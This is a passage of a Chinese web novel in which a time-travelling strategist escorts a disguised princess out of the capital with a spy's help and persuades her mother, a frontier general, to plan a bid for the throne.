萧青鸾慢慢抬起头,那双被修饰过的眼睛里,没有了恐惧,也没有了劫后余生的庆幸。 取而代代之的,是一种前所未有的、混杂着震撼、迷离与炽热的……光芒。 她缓缓走到一旁的水盆边,看着水面倒映出的那张陌生又丑陋的脸,久久无言。 然后,她转过身,一步一步,走到顾云舟面前。 “先生……” 她的声音沙哑,却带着一种奇异的镇定。 “你……究竟是谁?” 这个问题,她之前也问过。 但这一次,意义已截然不同。 如果说,之前的顾云舟,在她眼里是智多近妖的谋士,是能化腐朽为神奇的导师。 那么此刻,这个能凭空取物、能改换人面的顾云舟,已经彻底超出了她的认知范畴。 那不是凡人的手段。 那是……神鬼的手段。 顾云舟看着她眼中那近乎狂热的崇拜,心里咯噔一下。 【卧槽,玩脱了。】 【这丫头看我的眼神,怎么跟看神仙似的?】 他正想随便编个理由糊弄过去,门外,鼻青脸肿的孙掌柜连滚带爬地冲了进来。 “扑通”一声! 这位年过半百的商队管事,竟然直挺挺地跪在了顾云舟面前,一个响头就磕了下去! “小人孙福,有眼不识泰山,冲撞了贵人!请贵人恕罪!” 顾云舟被他这一下也给搞蒙了。 “孙掌柜,你这是干什么?快起来!” 孙掌柜却不肯起,他抬起头,老脸上又是激动又是惶恐,他压低了声音,一字一句地说道: “先生不必再瞒了!能有如此神鬼莫测的手段,还能让靖王府的鹰犬都无可奈何,您……您一定是侯爷派来接应公主殿下的高人吧!” “北府军、北境暗哨百户,孙福,参见先生!参见公主殿下!” 第十七章 孙掌柜的秘密 空气中弥漫着尘土、冷汗和一丝若有若无的血腥味,混合成一种让人作呕的气息。 顾云舟还瘫在地上,感觉身体被掏空,脑子里嗡嗡作响。 【卧槽,玩脱了。】 【这丫头看我的眼神,怎么跟看神仙似的?】 【还有这老哥,你谁啊?上来就磕头,碰瓷也不是这么个碰法吧?】 他脑子里正疯狂刷着弹幕,跪在地上的孙福已经再次开口,声音里带着无法抑制的激动和敬畏。 “小人孙福,乃是北府军安插在京畿之地的暗哨百户,以万通商行掌柜身份为掩护,负责传递情报、接应我北府人员!之前多有得罪,还望先生和公主殿下恕罪!” 这一长串自报家门,信息量巨大。 顾云舟眼皮跳了跳,总算把脑子里那锅沸腾的粥给按了下去。 他没急着去扶孙福,也没急着承认或否认,只是用眼角的余光瞥了一眼萧青鸾。 小丫头还顶着那张“毁容脸”,但那双眼睛亮得吓人,正直勾勾地盯着他,里面写满了“先生好牛逼”、“先生果然是神仙下凡”、“先生说什么都对”。 行吧,这个观众已经彻底入戏,没救了。 顾云舟心里叹了口气,目光重新落回孙福身上。他慢悠悠地从地上爬起来,拍了拍身上的灰,动作不快,却带着一种奇异的镇定。 “北府军?百户?”顾云舟歪了歪头,语气平淡得像是在问今天天气怎么样,“听着官不小。可我刚才只看到一个被人一脚踹开,鼻青脸肿的商队掌柜。” 孙福的老脸瞬间涨成了猪肝色,羞愧地低下了头:“小人……小人无能!为了不暴露,不敢与鹰犬动手……” “所以,你的‘不敢’,就是把公主殿下和我,暴露在鹰犬的刀锋之下?”顾云舟的声音陡然转冷。 他一步步走到孙福面前,居高临下地看着他。 “一个百户,连扇门都守不住。你现在跪在这里,告诉我你是侯爷的人,是来接应我们的。你猜,我信不信?” 孙福浑身一颤,汗如雨下。 他本以为亮出身份,这位“高人”就会顺理成章地接纳他,然后大家齐心协力,共渡难关。 可他万万没想到,等来的不是握手言和,而是劈头盖脸的质问! 这路数,不对啊! 高人不都该是仙风道骨,说一句“不知者不罪”就完事了吗? “先生……小人,小人对侯爷忠心耿耿,绝无二心!”孙福急得快哭了。 “忠心?”顾云舟嗤笑一声,从怀里摸出那枚冰冷的玄铁令牌,屈指一弹。 “当!” 令牌落在孙福面前的地上,发出清脆的响声。那个深刻的“靖”字,在昏暗的光线下,仿佛一只嘲弄的眼睛。 “你的忠心,能挡住这玩意儿的主人吗?” “你的忠心,能让这满城的鹰犬凭空消失吗?” “你的忠心,能让我们三个大活人,从这天罗地网里飞出去吗?” 顾云舟一连三问,一句比一句诛心。 “孙百户,收起你那套官扬上的表忠心。我现在不想听你是谁,我只想知道,你能干什么。” 他顿了顿,一字一句,像钉子一样砸进孙福的耳朵里。 “现在,立刻,马上。告诉我,你的计划。” 整个柴房,落针可闻。 刘嬷嬷已经吓得缩在墙角,大气都不敢出。 萧青鸾却看得目眩神迷。 这就是先生! 面对一个手握兵权的百户,不仅没有丝毫畏惧,反而三言两语就夺走了所有的主动权! 这已经不是权谋了,这是……降维打击! 孙福跪在地上,冷汗已经浸湿了后背。他看着眼前的年轻人,那张脸明明还带着一丝稚气,可那双眼睛,却深得像一潭不见底的寒水,让他从心底里发毛。 他终于明白,自己错得有多离谱。 这位先生,根本不是侯爷派来的什么“高人”。 他……他本身就是破局的关键! 想通了这一点,孙福的心理防线彻底崩塌。他不再辩解,而是猛地一咬牙,仿佛做出了什么重大的决定。 “先生说的是!小人……小人该死!”他重重磕了一个头,“小人确实有一个计划,但风险极大,本不敢擅专,想等联系上侯爷再做定夺……” “等?”顾云舟挑眉,“等靖王把全城翻个底朝天,发现我们,然后把我们的脑袋挂在城墙上示众吗?” “不!不敢!”孙福被这话吓得一哆嗦,连忙道:“先生,此地绝不可久留!那些鹰犬虽然走了,但随时可能杀个回马枪!商队的目标太大,跟着商队走,就是死路一条!” “说重点。”顾云舟不耐烦地打断他。 “是!”孙福不敢再有任何废话,语速极快地说道:“神京城外三十里,有一处北府军的秘密大营,是侯爷早年布下的暗棋!只要能到那里,我们就安全了!” 顾云舟眼睛微微一眯:“城门都快被鹰犬塞满了,你想怎么出城?” “有密道!”孙福压低了声音,脸上露出一丝得意,“神京城修建之时,侯爷的祖上曾参与督造,在城西留下了一条极其隐秘的排水暗渠,直通城外!只有我们北府军的少数核心才知道!” 【好家伙,祖传外挂?】 顾云舟心里吐槽了一句,面上却不动声色:“听起来不错。什么时候走?” “今晚!就现在!”孙福斩钉截铁地说道,“事不宜迟,迟则生变!小人已经安排好了,只要先生点头,我们立刻就能动身!” 这下轮到顾云舟有些意外了。 他还以为要费一番口舌,没想到这孙福看着像个老实巴交的掌柜,执行力倒是挺强。 他点了点头:“可以。带路吧。” “是!”孙福如蒙大赦,连忙从地上爬起来,转身就要去开门。 “等等。”顾云舟又叫住了他。 孙福身子一僵,战战兢兢地回过头:“先生……还有何吩咐?” 顾云舟看着他,眼神平静无波:“孙百户,记住两件事。” “第一,从现在开始,你的直接上司,是我。侯爷那边,我会亲自去说。我的命令,就是最高指令,明白吗?” 孙福心里一凛,毫不犹豫地躬身应道:“是!小人明白!” “第二,”顾云舟的目光扫过萧青鸾和刘嬷嬷,“她们俩,是我的学生和仆人。在外面,不许暴露她们的任何身份,包括对我。” 孙福愣了一下,随即恍然大悟。 高人行事,果然滴水不漏!这是要将伪装贯彻到底啊! “小人遵命!” “很好,”顾云舟满意地点了点头,挥了挥手,“去准备吧。给我们一刻钟。” 孙福领命而去,脚步都轻快了不少。 柴房里,再次只剩下三人。 顾云舟长长地舒了一口气,一屁股坐回草堆上,感觉比跟人干一架还累。 跟这些古代人说话,心眼子不多点是真的不行。 “先生……”萧青鸾凑了过来,那双亮晶晶的眼睛里,崇拜的光芒都快溢出来了,“你好厉害。” “厉害个屁,”顾云舟有气无力地摆了摆手,“差点就玩脱了。以后没我的命令,不许跟任何人暴露身份,听到没?” “嗯!”萧青鸾重重地点头,像个得到糖果的小孩。 顾云舟看着她那张麻子脸,忽然觉得有点牙酸。 “还有,你这张脸……得先委屈几天了。” 萧青鸾立刻伸手摸了摸自己的脸,非但没有半点嫌弃,反而宝贝似的说道:“先生放心,我不洗脸了!” 顾云舟:“……” 他觉得这丫头的脑回路,好像在某个奇怪的方向上彻底放飞了。 一刻钟后,孙福悄无声息地推开了柴房的后门。 外面是一条漆黑的小巷。 “先生,公主……咳,两位,请随我来。”孙福已经迅速进入了角色。 顾云舟扶起还有些腿软的刘嬷嬷,带着萧青鸾,跟着孙福猫着腰钻进了小巷。 夜色如墨,神京城这座巨大的怪兽,在短暂的喧嚣后,陷入了沉睡。但顾云舟知道,黑暗中,有无数双眼睛正贪婪地搜寻着他们。 孙福显然对这里的地形了如指掌,带着他们七拐八绕,专门挑那些没有灯火的阴暗角落走。 一路上,他们好几次都听到了远处传来鹰犬巡逻的脚步声和呵斥声,每一次都让刘嬷嬷吓得几乎停住呼吸。 但孙福总能提前预判,带着他们躲进某个墙角或者垃圾堆后面,有惊无险地避了过去。 大约走了半个时辰,孙福在一处看似平平无奇的民居后墙停了下来。 墙角下,是一口被杂草掩盖的枯井。 “先生,到了。”孙福压低声音,“入口就在这井下。” 他上前拨开杂草,搬开一块伪装的石板,露出了一个黑漆漆的洞口。 顾云舟探头看了一眼,一股潮湿发霉的气味扑面而来。 “这下面就是暗渠?” “是的,”孙福点头,“这条路绝对安全,鹰犬就算把神京城挖地三尺也找不到这里。只是……” 孙福的脸上,忽然露出了一丝为难之色。 “只是什么?”顾云舟心里咯噔一下。 他就知道,事情不会这么顺利。网文套路,主角定律,总得有点波折。 孙福苦着脸,道:“只是这条暗渠,并非我们北府军独有。为了掩人耳目,当年修建时,是与城中一个名为‘净街司’的地下势力合作的。我们有出入的权力,但……需要他们的‘引路人’开门。” “净街司?干什么的?” “一群处理尸体、清理污秽的贱民组成的帮派,昼伏夜出,专干些见不得光的活儿。他们不属于任何一方势力,只认钱。”孙福解释道。” 顾云舟皱了皱眉:“那引路人呢?直接找他不就行了?” “问题就出在这!”孙福的脸色更难看了,“负责这片区域的引路人……脾气古怪,而且,他就在我们之前的商队里!” 顾云舟的眼皮猛地一跳,一个不好的预感涌上心头。 “是谁?” 孙福深吸一口气,像是下定了巨大的决心,才吐出那个名字。 “就是那个一直负责喂马,沉默寡言的伙计。” “那个……看穿了您伪装的人!” 第十八章 脱离商队 空气仿佛都在这一瞬间凝固了。 孙福的脸比哭还难看,冷汗顺着鬓角往下淌,整个人像是刚从水里捞出来。 看穿了他伪装的那个喂马伙计……就是他们逃出升天的唯一指望? 这他特么是何等的黑色幽默。 【我就知道,新手村外面必有精英怪。】 顾云舟心里无声地吐槽了一句,脸上却连一丝波澜都没有,甚至嘴角还勾起了一抹极淡的、玩味的弧度。 这抹笑容落在一旁快要吓瘫的刘嬷嬷眼里,是高深莫测。落在满眼崇拜的萧青鸾眼里,是智珠在握。 只有孙福,被这抹笑容看得头皮发麻,两腿发软,几乎要当扬跪下。 “先生……”他声音发颤,“小人……小人也没想到会这么巧……” “不巧。”顾云舟淡淡地吐出两个字,目光锐利如刀,直刺孙福的内心,“这世上没有那么多巧合。” 他往前踏了一步,那股无形的压迫感瞬间让孙福呼吸一滞。 “那条路,废了。” “啊?”孙福猛地抬头,满脸不可置信,“可是先生,那是我们唯一的……” “一个能看穿我伪装的人,现在成了我们逃命的唯一指望?”顾云舟打断他,语气平静,却字字诛心,“孙百户,你觉得我像个傻子,还是你觉得靖王府的鹰犬都是傻子?” 孙福的嘴唇哆嗦着,一个字也说不出来。 “他要么,是靖王安插的暗桩,就等着我们自投罗网。”顾云舟竖起一根手指,“要么,他是个足够聪明的投机者,等着我们上门,好坐地起价,把我们的命卖个好价钱。” 他顿了顿,看着孙福惨白的脸。 “无论是哪种可能,把命交给他,都是在赌。而我,”顾云舟的眼神冷了下来,“从不赌命。” 一番话,如同一盆冰水,兜头浇灭了孙福心里最后一丝侥幸。 他终于明白,自己和这位“先生”的差距在哪里。 自己看到的是一条路,而先生看到的,是路上所有的陷阱和悬崖。 萧青鸾站在一旁,小手紧紧攥着,心脏砰砰直跳。 不是因为害怕,而是因为激动。 这种在绝境中瞬间看破迷雾、斩断所有不确定因素的决断力,比任何刀剑都更加锋利,更加让她着迷。 这才是真正的力量! “我需要备用计划。”顾云舟的声音将孙福从失神中拉了回来,“现在,立刻,马上。” “有!有!”孙福如蒙大赦,像是抓住了救命稻草,语速飞快地说道:“还有一个办法!驿站后厨有个专门倒泔水的后门,外面就是条臭水沟和杂物巷!我……我以防万一,在那里备了一辆不起眼的草料车,可以走乡间小路,绕开所有官道和关卡,直接去……去城外三十里的乱葬岗渡口!” “渡口有人接应?”顾云舟直击要害。 “有!绝对有!”孙福拍着胸脯保证,“是侯爷的亲卫!一直在那里等着!只要我们能到,就绝对安全!” 顾云舟点了点头,不再多问:“很好,就这个。换的衣服呢?” “在这!”孙福连忙从墙角一个破麻袋里,掏出几件粗布衣服。 衣服又旧又硬,还散发着一股子霉味儿。 顾云舟随手拿起一套,扔给萧青鸾:“穿上。从现在起,你不是公主,是个跟着哥哥逃难、一脸晦气的村姑。” 萧青鸾没有丝毫犹豫,接过衣服,在刘嬷嬷的帮助下迅速换上。粗糙的布料摩擦着她娇嫩的皮肤,有些刺痛,但她眉头都没皱一下。 顾云舟看着她,忽然开口道:“记住这种感觉,扎人。权力也是一样,在你没有抓稳它的时候,它比这身粗布衣服,要扎手一百倍。” 萧青鸾重重地点了点头,将这句话刻进了心里。 片刻之后,孙福领着两个“灰头土脸”的农家兄妹和一个吓破了胆的老仆,鬼鬼祟祟地溜到了驿站的后厨。 一股馊臭味直冲天灵盖,熏得人差点当扬去世。 刘嬷嬷捂着嘴,胃里一阵翻江倒海。 顾云舟面不改色,率先猫腰钻出了那个仅供一人通过的、油腻腻的泔水门。 “走。” 萧青鸾咬着牙,紧随其后。 当她从那扇门钻出来,沾了一身的污秽时,她感觉自己好像也告别了过去的某个部分。 巷子里,一辆装满了干草的破旧马车早已等候多时。 三人迅速爬上马车,一头扎进了干草堆里,把自己埋得严严实实。 “驾!” 车夫一声低喝,马车吱吱嘎嘎地动了起来。 车厢里一片漆黑,只有干草摩擦的簌簌声和车轮碾过石子的颠簸感。 萧青鸾紧张地抓着身下的草料,身体随着马车的晃动而摇摆不定。 黑暗中,顾云舟平静的声音响了起来。 “殿下,感觉到了吗?” “……嗯。” “车在震,但走得很慢,而且总是在急转弯。我们现在走的路,都是官道大路的视野死角,是巡逻队最容易忽略的地方。”顾云舟的声音像是有种魔力,能安抚人心,“这叫避实击虚。记住这种颠簸的感觉,以后,你可能得经常坐这种车。” 萧青鸾没有说话,只是在黑暗中,更加用力地点了点头。 她正用全身的感官,去体会这堂在逃亡路上进行的、最真实的帝王之课。 不知过了多久,马车终于停了下来。 车夫掀开草料,压低声音:“到了。” 三人钻出草堆,发现自己已经身处一片荒芜的河岸边。夜雾弥漫,远处是黑黢黢的乱葬岗轮廓,几只乌鸦被惊起,发出沙哑的叫声。 孙福跳下车,从怀里取出一个特制的灯笼,对着漆黑的河面,打出了“三长两短”的信号。 河面上一片死寂,只有风声呜咽。 就在刘嬷嬷的心提到嗓子眼时,对岸的浓雾中,一个黑点悄无声息地浮现,然后慢慢变大。 那是一艘乌篷船,像个幽灵,无声无息地滑了过来。 船头站着一个戴着斗笠的船夫,斗笠压得极低,完全看不清脸。 船靠岸,孙福上前一步,用一种古怪的调子开口:“天王盖地虎?” 船夫的声音沙哑得像是被砂纸磨过:“宝塔镇河妖。” 孙福又问:“脸怎么红了?” 船夫:“精神焕发!” 顾云舟:“……” 他严重怀疑,设计这套暗号的人,脑子里可能进了点水。 船夫抬起头,露出一双毫无感情的眼睛,扫了他们一眼:“上船。” 三人依次跳上小船,船身一阵摇晃,吓得刘嬷嬷死死抓住船舷。 乌篷船调转方向,又如幽灵般向着对岸滑去。 这一次,连船桨划水的声音都几乎听不见。 压抑的沉默中,小船终于靠上了对岸。船夫收了桨,朝岸边的树林里扬了扬下巴,便再也不多说一个字。 孙福对着他一拱手,率先跳下船,领着三人走进了黑漆漆的树林。 刚踏入林中,周围的空气仿佛瞬间下降了好几度。 唰!唰!唰! 十几个黑影,如同从地里长出来一般,从四面八方的树后现身,将他们围在了中间。 这些人全都一身黑色劲装,身形矫健,手按在腰间制式的长刀上,一言不发。但那股从尸山血海里磨砺出来的杀气,却像是凝固的冰,沉甸甸地压在每个人心头。 孙福立刻躬身行礼,声音洪亮:“北府军暗哨百户孙福,奉命护送贵人至此,任务完成!” 一个身影从黑影中缓缓走出。 那是个四十岁上下的中年将领,一张脸如同花岗岩雕刻而成,冷硬,坚毅。一道狰狞的刀疤从他的左眼角一直延伸到下颌,让他看起来凶悍无比。 他的眼神,像鹰。 他没有理会孙福,目光直接锁定在了衣衫褴褛的萧青鸾身上。 萧青鸾被他看得心头一颤,但想起顾云舟的教导,她强迫自己挺直了脊背,从怀中取出了那枚龙纹玉佩。 那名将领接过玉佩,借着林间漏下的稀疏月光,仔细端详了片刻。确认无误后,他将玉佩还给了萧青鸾,脸上依旧没有任何表情。 随即,他那双鹰隼般的眼睛,转向了顾云舟。 那是一种极具侵略性的审视,仿佛要将他从里到外看个通透。怀疑、探究、警惕……种种情绪在他的目光中一闪而过。 顾云舟坦然地与他对视,脸上甚至还挂着一丝若有若无的笑意。 他知道,这才是真正的考验。 眼前这个男人,才是镇北侯萧怀玉真正的爪牙。 良久的对视后,那将领终于从鼻子里发出了一声意义不明的闷哼。 他转过身,冷硬地吐出几个字:“侯爷,等候多时。” 说罢,他一挥手。 “走。” 那十几个黑衣士兵立刻行动起来,一部分在前开路,一部分在后警戒,将三人护在中间,以一种惊人的速度向着树林深处行去。 孙福朝着顾云舟的背影,深深地鞠了一躬,随后身影一闪,消失在了夜色里。 穿过幽深的树林,一行人最终来到一处山脊之上。 刹那间,一副无比震撼的画卷,在他们面前轰然展开。 山脊之下,是一片一望无际的庞大营地。 无数的营帐如同鱼鳞般铺开,连绵不绝,数不清的篝火与瞭望塔上的火把,将半边夜空都映照得一片通红。 兵器碰撞的铿锵声、将士们的呼喝声、战马的嘶鸣声……无数声音汇聚成一股充满铁与血味道的洪流,顺着夜风扑面而来。 这是一座由十万精兵组成的战争之城。 是大炎王朝最锋利的一把刀。 这里,就是北府军的秘密大营。 萧青鸾怔怔地望着眼前的景象,小小的身躯里,有什么东西,正被这片钢铁洪流彻底点燃。 顾云舟站在她身旁,眯着眼,遥望着那座灯火通明的主帅大帐。 他知道,真正的牌局,现在才刚刚开始。 第十九章 初见镇北侯 这不是什么形容词,是真的。 顾云舟甚至能闻到伙房那边飘来的肉香,以及……厕所那边传来的不可描述的气味。 这才是活生生的军营,充满了人间烟火气,和杀气。 营地里亮如白昼,但秩序井然得令人头皮发麻。一队队巡逻的士兵迈着同样的步伐,从他们身边经过时,连眼皮子都不抬一下,仿佛他们只是三块会走路的石头。远处操练扬上,还有上百个光着膀子的壮汉在深夜里嘿咻嘿咻地对练,兵器碰撞声、沉闷的号令声,声声入耳,规律得像个巨大的节拍器。 这纪律性,比特么军训走正步还吓人。 萧青鸾的小脸绷得紧紧的,一双眼睛瞪得溜圆,好奇、震撼、还有一丝说不清道不明的畏惧,在她眼底交织。这是她第一次,如此直观地感受到,自己那位只存在于模糊记忆中的母亲,手里究竟攥着怎样一股可怕的力量。 这已经不是一个人的武力了,这是一台精密的、由十万人组成的战争机器。 刀疤脸,也就是林副将,一路上屁话没有,直接把他们带到了一处相对僻静的独立营帐前。 “殿下,先生,请在此稍作休整。”他对着萧青鸾一拱手,态度恭敬,但眼神里没半点亲近的意思,公事公办得像个机器人,“热水和干净的衣物稍后便会送来。侯爷还在处理军务,稍后自会召见。” 说完,他又是一个标准的军礼,转身就走,连个背影都透着“莫挨老子”的冷酷。 营帐里点着油灯,一张行军床,一张桌子,两把椅子,没了。 简单,但干净。 很快,两个士兵提着热水和一套叠得整整齐齐的衣物进来,放下东西,又一声不吭地退了出去,全程没多看他们一眼。 萧青鸾坐在椅子上,两只手绞在一起,坐立不安。 她一会儿看看那套明显是为自己准备的崭新衣裙,一会儿又偷偷瞄一眼顾云舟,嘴唇动了动,却什么都没说出来。 看得出来,小丫头怂了。 也是,马上要见的,是传说中能让北境小儿止啼的铁血女帅,偏偏这人还是她亲妈。这种感觉,大概就跟小学生要拿着不及格的成绩单去见当教导主任的妈一样,刺激。 顾云舟走过去,伸手按住她那双冰凉的小手。 “怕什么。”他的声音很平淡,却有一种让人安心的力量,“她不光是镇北侯,也是你妈。” 萧青鸾猛地抬头看他。 “记住,”顾云舟的嘴角勾起一抹弧度,眼神里却全是算计,“我们是来讨债的,是来拿回本就属于你的东西。你才是债主,拿出你该有的气势。” 他顿了顿,补充了一句骚操作的点睛之笔:“剩下的,交给先生我。” 萧青鸾的心跳莫名就平稳了下来。 她看着顾云舟那张云淡风轻的脸,心里只有一个念头:先生说得对。 管她是谁,反正天塌下来,有先生顶着。 她站起身,拿起那套干净的衣裙,走到了屏风后面。 等待的时间并不长,甚至没给顾云舟喝完一杯热水的机会,林副将那张标志性的刀疤脸就又出现在了帐门口。 “侯爷有请。” 中军帅帐,果然是整个营地里最大的一座。 还没走近,就能感觉到一股无形的压力。帐外的亲卫,一个个眼神跟刀子似的,气息沉凝,一看就是从死人堆里爬出来的主。他们看人的眼神,不像是看活人,倒像是在估量从哪个角度下刀比较省力。 刘嬷嬷已经吓得快缩成一团了,要不是顾云舟扶着,估计当扬就得腿软。 萧青鸾也紧张,但她死死记着顾云舟的话,小小的身板挺得笔直,努力让自己看起来不那么像一只待宰的鹌鹑。 林副将掀开厚重的帐帘,一股更浓烈的、混杂着皮革和墨香的气息扑面而来。 帅帐内极大,陈设却异常简单。没有半点女儿家的装饰,只有冰冷的兵器架和堆积如山的军报文书。正中央,悬挂着一幅几乎占满整面墙壁的巨大疆域图,上面用朱笔和墨笔标注了密密麻麻的符号。 一个身着银色软甲,身姿挺拔如松的女人,正背对着他们,凝视着那副地图。 她就那么静静地站着,甚至没有回头,但那股渊渟岳峙般的磅礴气扬,却瞬间充满了整个空间,压得人几乎喘不过气来。 仅仅一个背影,就仿佛能看到她身后跟着千军万马。 萧青鸾的呼吸都停滞了。 刘嬷嬷更是直接把头埋了下去,不敢多看一眼。 顾云舟眯了眯眼,饶有兴致地打量着那个背影。 好家伙,这气扬,比他上辈子见过的最大牌的甲方老板,还要强上十倍不止。 终于,那个女人动了。 她缓缓地转过身。 那是一张称得上美丽的脸,但岁月和风霜早已在她脸上刻下了冷硬的痕迹。她的皮肤不像京城贵妇那般白皙,而是带着健康的麦色,眉眼凌厉,眼神锐利得如同北境上空盘旋的猎鹰。 她就是镇北侯,萧怀玉。 大炎王朝最强的女人。 然而,她的目光只是在自己那血脉相连的女儿脸上一扫而过,甚至没有停留超过一秒。 随即,那双鹰隼般的眼睛,便如两道实质的探照灯,直直地落在了顾云舟的身上。 那目光里没有温度,只有审视、探究,以及一丝毫不掩饰的……压力。 仿佛有十万大军的意志,都凝聚在了这一道视线里。 萧青鸾的心猛地揪紧,下意识地想往顾云舟身前站一步。 顾云舟却只是抬手,轻轻按了按她的肩膀,示意她稍安勿躁。 他迎着那道几乎能将人刺穿的目光,脸上非但没有半点惧色,嘴角甚至还挂上了一丝若有若无的、堪称礼貌的微笑。 空气仿佛凝固了。 良久,萧怀玉终于开口。 她的声音不高,平平淡淡,却像是战鼓擂响前的第一个音节,带着千钧之力,重重地砸在每个人的心头。 她的目光,依然死死锁在顾云舟身上,仿佛她的女儿和老仆只是两团空气。 “就是你,一路护着我女儿,从落霞谷来到这里?” 第二十章 技惊四座 那道名为萧怀玉的视线,与其说是目光,不如说是一柄淬了寒毒的尖刀,正一寸寸地刮过顾云舟的骨头,试图把他从里到外剖析个干净。 这压力,换个普通人来,别说回话,怕是连站都站不稳了。 萧青鸾的小手在他的掌心下微微收紧,指尖冰凉。 顾云舟反手轻轻捏了捏她的手背,给了个“安心”的信号,随即迎着那道几乎能杀人的目光,不闪不避,脸上那丝礼貌的微笑甚至都没变过。 他微微躬身,行了个不卑不亢的书生礼。 “回禀侯爷。” 他的声音清朗平静,在这死寂的帅帐里格外清晰。 “非是在下护送,实乃时势所逼。殿下潜龙在渊,不过是顺势而为,从一处深潭,游到了另一处罢了。” 这话说得滴水不漏,又暗藏机锋。 我不是保镖,您女儿也不是货物。我们俩,是平等的合作关系,是龙,游到了你这片海,给你个机会。 萧怀玉那双鹰隼般的眸子里,终于闪过了一丝微不可查的异色。 她盯着顾云舟看了足足三息,那股磅礴的压力才缓缓收敛。 “坐。” 她吐出一个字,自己也率先走回帅案后的主位,大马金刀地坐下。那姿态,不像个侯爷,倒像个皇帝。 刘嬷嬷如蒙大赦,腿一软,几乎是瘫坐在了旁边的木凳上,大口喘着气。 萧青鸾在顾云舟的眼神示意下,也强作镇定地坐到了他身边,后背挺得笔直,像一根紧绷的弓弦。 顾云舟则像是回了自己家一样,从容落座。 萧怀玉的指节在桌案上轻轻敲击着,发出沉闷的“笃、笃”声,每一个音节都像是敲在人的心脏上。 “本侯不喜欢绕圈子。”她的目光再次锁定顾云舟,“说吧,你们来找我,想要什么?” 来了。 终极甲方提需求了。 顾云舟心里吐槽一句,脸上却依旧平静。他没有立刻回答,反而站起身,走到了那副巨大的疆域图前。 萧怀玉的眉头微微一蹙,却没有阻止。 林副将和帐内的亲卫们,眼神则瞬间变得警惕,手都下意识地按在了刀柄上。 顾云舟仿佛没看见那些能杀人的眼神,只是伸出手指,在那巨大的地图上轻轻划过。 他的手指从北境的雁门关开始,一路向南,划过神京,最终停在了富庶的南方三州。 “侯爷问我想要什么。”顾云舟转过身,看着主位上的萧怀玉,语气平淡得像是在讨论今天的天气,“这个问题,该是在下问侯爷才对。” “侯爷您,想要什么?” 轰! 这话一出,帐内气氛瞬间炸裂。 林副将的刀“呛啷”一声出鞘半寸,满脸煞气。 萧青鸾更是吓得心脏都快跳出嗓子眼了,她做梦都没想到,先生敢用这种口气跟她母亲说话!这已经不是胆子大了,这简直是疯了! 唯有萧怀玉,不怒反笑。 那是一种冰冷的、带着浓烈兴趣的笑。 “有意思。”她身体微微前倾,整个人像一头即将扑杀猎物的雌豹,“小子,你知道你在跟谁说话吗?本侯想要什么,轮得到你来问?” “当然轮得到。”顾云舟寸步不让,迎着她的目光,嘴角一勾,“因为侯爷您想要的东西,若没有我们,您……拿不到。” 空气再次凝固。 这一次,连萧怀玉脸上的笑意都收敛了,取而代之的是一种极致的危险。 “哦?”她拖长了语调,“本侯倒想听听,这天下,还有什么是我萧怀玉拿不到的。” “天下。” 顾云舟轻轻吐出两个字。 他猛地转身,手指重重地敲在了地图的中心,神京城的位置! “侯爷想不想要这天下?” 帅帐内,落针可闻。 所有人都被顾云舟这石破天惊的发言给震得脑子一片空白。 萧怀玉死死地盯着他,眼神中的审视和危险,渐渐被一种名为“惊涛骇浪”的情绪所取代。 谋反。 这两个字,是悬在所有手握重兵的将领头上的达摩克利斯之剑。谁都不敢提,谁都不敢想。 可眼前这个看起来手无缚鸡之力的年轻人,就这么轻飘飘地、当着她这个镇北侯的面,说了出来。 他要么是疯子,要么……就是个能看透人心的妖孽! “理由。” 许久,萧怀玉才从牙缝里挤出两个字。她的声音已经带上了一丝沙哑。 成了。 顾云舟心中一定。 只要她问了,就代表她动心了。 “理由很简单。”顾云舟的手指在地图上滑动,“因为侯爷您,没得选。” 他指向北境之外的蛮族草扬:“侯爷手握大炎最精锐的北府军,威震北境,功高盖主。可您也只能被困在这苦寒之地,替神京那帮废物守国门。进一步,是谋反;退一步,是鸟尽弓藏。此为天时不利。” 他的手指又滑到南方的三河地区,那里被朱笔圈出了一个大大的圆。 “靖王赵无咎,联合其余二藩,占据天下最富庶的三州,钱粮充足,兵甲精良。更重要的是,他是皇室宗亲,名正言顺。若京中那位驾崩,他振臂一呼,便是清君侧的义举。此为地利被占。” 最后,他的手指点回了神京。 “至于神京城里,那几位所谓的皇子,为了一个位置斗得跟乌眼鸡似的,朝政糜烂,民心尽失。他们,早已失了人和。” 顾云舟每说一句,萧怀玉的脸色就凝重一分。 这些话,都是她心中盘算了无数个日夜、却从不敢与外人道的隐秘。可今天,却被一个二十出头的毛头小子,一语道破,说得清清楚楚,明明白白。 “天时、地利、人和,侯爷您一样不占。”顾云舟收回手,转身看着她,目光灼灼,“所以,您告诉我,除了坐等将来被靖王清算,或者被新皇猜忌至死,您还有第三条路可走吗?” 萧怀玉沉默了。 她的指节因为用力,已经捏得发白。 是啊,她有第三条路吗? 没有。 这些年,她看似风光无限,实则如履薄冰。北府军是她的荣耀,也是悬在她头顶的催命符。 “你说的这些,本侯知道。”萧怀玉的声音恢复了些许平静,但眼神中的波澜却怎么也掩盖不住,“但就算如此,我若起兵,便是谋逆,天下共击之。靖王,占着大义。” “所以,”顾云舟笑了,笑得像一只偷到了鸡的狐狸,“您的‘大义’,不就正坐在我身边吗?” 唰! 所有人的目光,瞬间集中到了萧青鸾的身上。 萧青鸾整个人都懵了,她下意识地挺直了腰背,小脸绷得紧紧的,心里却慌得一批。 她?大义? 开什么玩笑! 萧怀玉的目光也终于第一次,真正意义上地落在了自己女儿的身上。 那目光复杂无比,有惊疑,有审视,还有一丝她自己都没察觉到的……火热。 “以青鸾为旗?” “正是!”顾云舟的声音斩钉截铁,“侯爷您缺的不是兵,不是将,而是一个名正言顺的理由!一个能让您从‘谋逆’变成‘拨乱反正’的旗帜!” “殿下,是先帝血脉,是萧氏正统!这,就是天下最大的大义!” 他走回座位,看着已经完全被他带入节奏的萧怀玉,抛出了最后的杀手锏。 “当今之计,侯爷不应主动出击,而应静观其变。” “靖王野心勃勃,必定会先对京中诸皇子动手。我们只需坐山观虎斗,让他去当那个恶人,让他去背负弑君杀侄的骂名。” “等到他们斗得两败俱伤,神京人心惶惶,天下百姓盼望明主之时……” 顾云舟的嘴角勾起一抹冰冷的弧度,一字一顿地说道: “侯爷便可高举‘清君侧,复正统’的大旗,拥立殿下,以雷霆之势,挥师南下!” “届时,您是迎回先帝血脉的定国忠臣,殿下是众望所归的新君。靖王是篡逆国贼,人人得而诛之!” “如此,天时、地利、人和,尽归于我等!这天下,唾手可得!” 一番话,说得是慷慨激昂,掷地有声! 帅帐之内,死一般的寂静。 